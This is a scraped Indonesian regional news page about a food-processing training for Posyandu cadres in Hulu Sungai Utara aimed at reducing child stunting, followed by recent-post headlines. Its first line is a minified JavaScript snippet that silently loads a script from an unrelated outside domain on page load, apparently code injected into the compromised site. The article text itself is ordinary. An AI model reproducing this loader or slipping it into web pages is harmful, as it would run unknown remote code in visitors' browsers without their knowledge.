(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pelatihan Makanan Olahan Bergizi Kader Posyandu Desa se HSU


AMUNTAI, Kurangnya perhatian dari orang tua terhadap kebutuhan gizi anak menjadi salah satu problem dasar tingginya angka stunting. Karena itu perlu ada upaya pemerintah serta seluruh lapisan masyarakat bersama berpartisipasi menekan permasalahan stunting. Salah satunya dengan cara pemberian makanan tambahan bagi ibu hamil dan balita.

Ketua Tim Penggerak PKK Kabupaten Hulu Sungai Utara (HSU) Hj Anisah Rasyidah Wahid berharap pelatihan pengolahan pangan yang baik para ibu dan kader Posyandu desa dapat terus-menerus mempraktekan di kehidupan sehari-hari, terutama pengolahan pangan tambahan bagi ibu hamil dan balita yang sangat membutuhkan gizi tambahan.

Hal tersebut diutarakannya kepada Kanalkalimantan disela peninjauan kegiatan pelatihan teknis pengolahan pangan selama 3 hari oleh Dinas Ketahanan Pangan Kabupaten HSU kepada 20 peserta ibu-ibu dan para kader posyandu di Dekranasda HSU, Sabtu (26/1).

Lebih lanjut Anisah mengatakan, hasil dari pemberian pelatihan ini diharapkan dapat dipraktekkan kader Posyandu di desa masing-masing dalam berbagai kegiatan seperti kegiatan Posyandu sekaligus pemberian makanan tambahan bagi ibu dan balita. Kader posyandu bisa menyediakan menu sehat dalam berbagai bentuk, tidak melulu menu yang umum digunakan.

“Jangan sampai pemberian makanan tambahan kegiatan Posyandu menunya kue untuk atau lontong karena gizinya tidak sesuai dengan ibu hamil dan balita,” tuturnya.

Anisah menambahkan, melalui pelatihan pengolahan pangan ini juga nantinya dapat memberikan ide-ide inovatif dalam hal pengolahan makanan, khususnya pemberian makanan tambahan yang menarik dan membuat minat bagi balita.

Salah seorang peserta, Mardiah mengakui kegiatan ini sangat bermanfaat, sehingga nanti dapat dipraktekkan di rumah. “Olahan panganan ini bisa kami praktekkan lagi sewaktu ada kegiatan Posyandu,” ujarnya. Ia mengaku baru pertama kali mengolah panagan unik berbahan labu menjadi bermacam-macam, padahal menurutnya biasanya mengolah labu hanya sekedar untuk pelengkap sayuran saja. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

33 menit ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

4 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

5 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

5 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

6 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

8 jam ago

This website uses cookies.